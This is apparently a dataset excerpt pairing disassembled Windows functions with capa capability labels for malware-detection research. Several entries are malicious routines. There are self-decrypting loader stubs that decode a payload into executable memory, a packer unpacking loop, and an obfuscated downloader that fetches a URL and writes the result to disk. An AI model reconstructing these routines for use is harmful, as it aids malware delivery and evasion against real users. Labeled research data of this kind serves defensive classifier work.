joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012350
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001237d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001237d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x405630
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
adc dword [0x698e0c11], ecx
xor bl, al
sub esi, dword [edi]
pop es
adc dword [esi + ecx*4], ecx
imul esi, dword [edx], 0x7372bd8
jb 0x405632
push es
add byte [eax + 0x6f], dh
jo 0x4056b0
xor al, byte [eax]
add byte [edx], cl
sub al, 0x28
pop es
jb 0x40563f
push es
add byte [eax + 0x6f], dh
add byte cs:[eax], al
or bl, byte [eax]
outsd dx, dword [esi]
xor eax, dword [eax]
add byte [edx], cl
adc ecx, dword [ecx]
add bh, byte [ebx + 0xa]
add byte [eax], al
add al, 0x11
or dword [esi], edx
lcall 0x346f, 0x9a170911
add byte [eax], al
or ch, byte [ebx]
add dl, byte [esi]
sub al, byte [esi]
pop ss
pop eax
or al, byte [esi]
add ecx, dword [esi - 0x29ac097]
invalid
add byte [eax + 0x28], dh
sbb byte [eax], al
add byte [edx], cl
jge 0x4056c6
add byte [eax], al
add al, 2
jnp 0x4056cc
add byte [eax], al
add al, 0x28
xor eax, 0x2d0a0000
or al, 2
jnp 0x4056d9
or ch, byte [0xd7b020c]
add byte [eax], al
add al, 0x28
add byte ss:[eax], al
or ah, byte [esi]
add bh, byte [ebx + 6]
add byte [eax], al
add al, 0x28
add byte [eax + ebp], al
and al, byte [eax]
add byte [edx], cl
sub eax, 0x77b0229
add byte [eax], al
add al, 0x6f
aaa
add byte [eax], al
or bl, byte [edi]
rdmsr
sbb al, byte [edx]
jnp 0x4056fd
add byte [eax], al
add al, 0x6f
cmp byte [eax], al
add byte [edx], cl
sub al, 0xd
add bh, byte [ebx + 8]
add byte [eax], al
add al, 0x6f
or eax, 0x87b02
add byte [edi + ebp*2], al
cmp byte [eax], al
add byte [edx], cl
sub eax, 0x22a1602
jnp 0x405719
add byte [eax], al
add al, 0x72
sysret
cmp dword [eax], eax
add byte [edx], cl
sub eax, 0x97b0211
add byte [eax], al
add al, 0x72
sysret

Function at 0x430002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x2673b71
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data_1
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0xf11ff3
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x403203
pop dword [ebp - 0x24]
mov eax, 0x99219297
sub eax, 0x98e16094
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x17942ec2
add dword [ebp - 0x34], 0x36be1689
mov dword [ebp - 0x30], 0xb28cf9d8
add dword [ebp - 0x30], 0x7fa6526d
mov dword [ebp - 0x2c], 0x6713ad42
add dword [ebp - 0x2c], 0xe53896ec
mov dword [ebp - 0x28], 0xb65e08a0
add dword [ebp - 0x28], 0x49a1f760
lea eax, [ebp - 0x34]
push eax
mov eax, 0x98e37187
sub eax, 0x98a2f0fb
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x3b3af2c7
add dword [ebp - 0x34], 0x3937768f
mov dword [ebp - 0x30], 0xd0584db1
add dword [ebp - 0x30], 0x711413c4
mov dword [ebp - 0x2c], 0x704b9b2e
add dword [ebp - 0x2c], 0xf323d13e
mov dword [ebp - 0x28], 0x5010b0d4
sub dword [ebp - 0x28], 0x5010b0d4
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x72e910c5
sub eax, 0x72a88ff1
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x39655
push 0
call eax
mov ecx, 0x5335
mov edi, eax
mov esi, 0x411000
add esi, dword [ebp - 0x24]
mov ebx, 0x6552125f
xor dword [ebp - 0x18], esi
mov edx, dword [esi]
xor dword [ebp - 0x20], esi
xor edx, ebx
mov dword [edi], edx
sub dword [ebp - 0x20], 0xe07453d1
add edi, 4
add esi, 0x3fd1e253
sub esi, 0x3fd1e24f
loop 0x403313
add eax, 0x13fa7
xor ebx, ebx
add ebx, eax
add eax, 0x43c2365b
add eax, 0xbc3dc9aa
mov ecx, 0xb89709b8
add ecx, 0x47a8f648
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x4024e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.00452a36

Function at 0x403900
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403919
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403954
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x403950
lea ebx, [ebx]
cmp esi, eax
jae 0x403954
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x403940
cmp esi, eax
jb 0x40395a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x404360
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4835b3
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4abf70]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
call fcn.00453711
xor ecx, ecx
lea ebp, [esi + 0x10]
mov dword [esi], vtable.CMemDC.0
mov dword [esp + 0x28], ecx
mov dword [ebp + 4], ecx
mov dword [ebp], vtable.CBitmap.0
mov ebx, dword [esp + 0x30]
xor eax, eax
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x18], ecx
cmp dword [ebx + 0xc], ecx
mov byte [esp + 0x28], 1
sete al
mov dword [esi + 0x30], eax
cmp eax, ecx
je 0x404430
mov eax, dword [ebx]
mov edx, dword [eax + 0x50]
lea edi, [esi + 0x20]
push edi
mov ecx, ebx
call edx
mov eax, dword [ebx + 4]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push eax
mov ecx, esi
call fcn.00453b95
mov eax, dword [edi + 0xc]
sub eax, dword [edi + 4]
mov ecx, dword [edi + 8]
sub ecx, dword [edi]
push eax
mov eax, dword [ebx + 4]
push ecx
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
mov ecx, ebp
call fcn.00453e51
test ebp, ebp
je 0x40440e
mov ebp, dword [ebp + 4]
mov ecx, dword [esi + 4]
push ebp
push ecx
call fcn.00453ee0
mov edx, dword [esi + 0x24]
mov dword [esi + 0x18], eax
mov eax, dword [edi]
push edx
push eax
lea ecx, [esp + 0x20]
push ecx
mov ecx, esi
call fcn.0045382d
jmp 0x404442
mov edx, dword [ebx + 0xc]
mov dword [esi + 0xc], edx
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov ecx, dword [ebx + 8]
mov dword [esi + 8], ecx
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret 4
Function at 0x42f110
Capabilities:
Reference sql statements

Disassembly:
push 0xffffffffffffffff
push 0x488018
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4abf70]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
call fcn.0045166e
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x42f151
push 0x80004005
call fcn.00401150
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x14], edi
push 1
mov ecx, esi
mov dword [esp + 0x24], 0
call fcn.0044d72f
mov ecx, dword [esi + 0x1ec]
cmp dword [ecx - 0xc], 0
lea ebx, [esi + 0x1ec]
jne 0x42f1b4
push 0
push 0x48e8ac
push 0x4911dc
mov ecx, esi
call fcn.0044ccea
lea eax, [edi - 0x10]
mov dword [esp + 0x20], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x42f2cb
push 0x29
push str.SELECT__FROM_usertalbe_WHERE_user_name
lea ecx, [esp + 0x1c]
call fcn.004019c0
mov eax, dword [ebx]
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.00407830
push 1
push 0x48f724
lea ecx, [esp + 0x1c]
call fcn.00407830
push 0xe
push str.AND_user_pwd
lea ecx, [esp + 0x1c]
call fcn.00407830
mov eax, dword [esi + 0x1f0]
mov ecx, dword [eax - 0xc]
lea ebp, [esi + 0x1f0]
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.00407830
push 1
push 0x48f724
lea ecx, [esp + 0x1c]
call fcn.00407830
mov eax, dword [esp + 0x14]
mov edx, dword [esi + 0x74]
mov edx, dword [edx + 0xc]
push 0
lea edi, [esi + 0x74]
push eax
push 0xffffffffffffffff
mov ecx, edi
call edx
test eax, eax
jne 0x42f24c
push eax
push 0x48e8ac
push str.user
mov ecx, esi
call fcn.0044ccea
jmp 0x42f2af
push ebx
mov ecx, 0x4ad508
call fcn.00401c90
cmp dword [esi + 0x13c], 0
jne 0x42f272
mov edx, dword [edi]
mov eax, dword [edx + 0x10]
mov ecx, edi
call eax
mov ecx, esi
call fcn.004521bb
jmp 0x42f2af
push 0
push 0x48e8ac
push 0x491184
mov ecx, esi
call fcn.0044ccea
push 0x48e90c
mov ecx, ebx
call fcn.00402060
push 0x48e90c
mov ecx, ebp
call fcn.00402060
push 0
mov ecx, esi
call fcn.0044d72f
mov edx, dword [edi]
mov eax, dword [edx + 0x10]
mov ecx, edi
call eax
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov dword [esp + 0x20], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x42f2d7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x44a998
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x48b640
call fcn.0046ec66
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x44a9bd
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x44aa03
lea ecx, [ebp - 0x10]
call fcn.00401960
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0044a193
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401170
mov eax, esi
call fcn.0046ed3e
ret 8

Function at 0x450c1d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x450c64
call fcn.0045342d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x450c64
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x450c80
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00450797
mov esi, eax
test edi, edi
je 0x450c7e
test ebx, ebx
je 0x450c7e
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x45c114
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x45c15c
call fcn.0045342d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x45c15c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x45c19f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x45c188
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x45c188
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x45c19c
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x46d765
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4abf70]
jne 0x46d76f
repz ret
jmp fcn.0047585c

Function at 0x47fae0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00475242
and dword [ebp - 4], 0
cmp dword [0x4afde8], 0
mov ebx, eax
jne 0x47fb91
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x47fc42
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4980f4
push edi
call esi
test eax, eax
je 0x47fc42
push eax
call fcn.004751d0
mov dword [esp], 0x4980e4
push edi
mov dword [0x4afde8], eax
call esi
push eax
call fcn.004751d0
mov dword [esp], 0x4980d0
push edi
mov dword [0x4afdec], eax
call esi
push eax
call fcn.004751d0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4afdf0], eax
call esi
push eax
call fcn.004751d0
pop ecx
mov dword [0x4afdf8], eax
test eax, eax
je 0x47fb91
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004751d0
pop ecx
mov dword [0x4afdf4], eax
mov eax, dword [0x4afdf4]
cmp eax, ebx
je 0x47fbe9
cmp dword [0x4afdf8], ebx
je 0x47fbe9
push eax
call fcn.0047524b
push dword [0x4afdf8]
mov esi, eax
call fcn.0047524b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x47fbe9
test edi, edi
je 0x47fbe9
call esi
test eax, eax
je 0x47fbe0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x47fbe0
test byte [ebp - 0xc], 1
jne 0x47fbe9
or dword [ebp + 0x10], 0x200000
jmp 0x47fc22
mov eax, dword [0x4afdec]
cmp eax, ebx
je 0x47fc22
push eax
call fcn.0047524b
pop ecx
test eax, eax
je 0x47fc22
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x47fc22
mov eax, dword [0x4afdf0]
cmp eax, ebx
je 0x47fc22
push eax
call fcn.0047524b
pop ecx
test eax, eax
je 0x47fc22
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4afde8]
call fcn.0047524b
pop ecx
test eax, eax
je 0x47fc42
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x47fc44
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x48d000
Capabilities:
Contain obfuscated stackstrings
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x428
mov eax, dword [0x4abf70]
xor eax, esp
mov dword [esp + 0x424], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x438]
push edi
mov edi, dword [esp + 0x440]
xor ebx, ebx
push ebx
push ebx
mov al, 0x6c
push ebx
mov byte [esp + 0x28], al
mov byte [esp + 0x29], al
mov byte [esp + 0x39], al
mov dl, 0x69
mov cl, 0x61
push ebx
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov byte [esp + 0x2c], 0x4d
mov byte [esp + 0x2d], 0x6f
mov byte [esp + 0x2e], 0x7a
mov byte [esp + 0x2f], dl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], 0x2f
mov byte [esp + 0x34], 0x34
mov byte [esp + 0x35], 0x2e
mov byte [esp + 0x36], 0x30
mov byte [esp + 0x37], 0x20
mov byte [esp + 0x38], 0x28
mov byte [esp + 0x39], 0x63
mov byte [esp + 0x3a], 0x6f
mov byte [esp + 0x3b], 0x6d
mov byte [esp + 0x3c], 0x70
mov byte [esp + 0x3d], cl
mov byte [esp + 0x3e], 0x74
mov byte [esp + 0x3f], dl
mov byte [esp + 0x40], 0x62
mov byte [esp + 0x42], 0x65
mov byte [esp + 0x43], 0x29
mov byte [esp + 0x44], bl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
cmp ebp, ebx
jne 0x48d0c7
xor eax, eax
jmp 0x48d15f
push ebx
push SQLAllocEnv
push ebx
push ebx
push esi
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
je 0x48d0c0
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x48d151
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea esp, [esp]
push 0x400
lea ecx, [esp + 0x38]
push 0
push ecx
call fcn.0046e360
add esp, 0xc
lea edx, [esp + 0x10]
push edx
push 0x400
lea eax, [esp + 0x3c]
push eax
push esi
call ebx
mov edx, dword [esp + 0x10]
push 0
lea ecx, [esp + 0x18]
push ecx
push edx
lea eax, [esp + 0x40]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 0x10], 0
ja 0x48d100
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
mov eax, ebx
mov ecx, dword [esp + 0x434]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0046d765
add esp, 0x428
ret
Function at 0x4164a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.EbVqxVXA
lea edi, [esi - 0xf000]
push edi
or ebp, 0xffffffff
jmp 0x4164c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4164c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4164b8
mov eax, 1
add ebx, ebx
jne 0x4164db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4164d0
jne 0x4164ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4164d0
xor ecx, ecx
sub eax, 3
jb 0x416500
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x416572
mov ebp, eax
add ebx, ebx
jne 0x41650b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416518
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41653c
inc ecx
add ebx, ebx
jne 0x416528
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41651d
jne 0x416539
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41651d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41655c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41654d
jmp 0x4164be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41655c
add edi, ecx
jmp 0x4164be
pop esi
mov edi, esi
mov ecx, 0x113
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41657a
cmp byte [edi], 3
jne 0x41657a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41657f
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x4165ee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1a9bc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1aa28]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4165ac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1aa30]
or eax, eax
je 0x4165e8
mov dword [ebx], eax
add ebx, 4
jmp 0x4165c9
call dword [esi + 0x1aa2c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41661f
cmp al, 0xef
ja 0x416612
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4165f4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x416601
mov ebp, dword [esi + 0x1aa34]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x416653
sub esp, 0xffffff80
jmp 0x403ab8
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10007c2e
pop dword [ebp - 0x10]
mov eax, 0x52c954b9
sub eax, 0x42c8d88b
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x2307697e
sub dword [ebp - 0x20], 0xd4b52433
mov dword [ebp - 0x1c], 0xa32121a
sub dword [ebp - 0x1c], 0xd7fec5d5
mov dword [ebp - 0x18], 0x3748d9de
sub dword [ebp - 0x18], 0xeafc95b0
mov dword [ebp - 0x14], 0x499e108e
sub dword [ebp - 0x14], 0x499e108e
lea eax, [ebp - 0x20]
push eax
mov eax, 0xc7982da0
sub eax, 0xb797ad4c
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xac8f07f0
add dword [ebp - 0x20], 0xc7e36166
mov dword [ebp - 0x1c], 0xa39facb6
add dword [ebp - 0x1c], 0x9dccb4bf
mov dword [ebp - 0x18], 0x2d704f7f
sub dword [ebp - 0x18], 0xca00e313
mov dword [ebp - 0x14], 0x9d124a4b
add dword [ebp - 0x14], 0x62edb5b5
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x67bdd0c3
sub eax, 0x57bd5073
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3794a
push 0
call eax
mov ecx, 0x1374fe03
sub ecx, 0x1374b25c
mov edi, eax
mov edx, 0xdccb4188
add edx, 0x3335b878
add edx, dword [ebp - 0x10]
mov esi, 0x43089074
sub esi, 0x58ea4123
add dword [ebp - 0xc], edx
mov ebx, dword [edx]
add dword [ebp - 8], eax
add ebx, esi
sub dword [ebp - 0xc], 0x447403c0
mov dword [edi], ebx
xor dword [ebp - 0xc], ecx
add edi, 0x5cc37d33
sub edi, 0x5cc37d2f
add edx, 0xf2a8ac9f
sub edx, 0xf2a8ac9b
loop 0x10007d50
add eax, 0x23c38d61
add eax, 0xdc3d940e
mov ebx, eax
add eax, 0xb9e2a18f
sub eax, 0xb9e2a18a
mov ecx, 0x3604994
sub ecx, 0xf3604994
add ecx, dword [ebp - 0x10]
call ebx
leave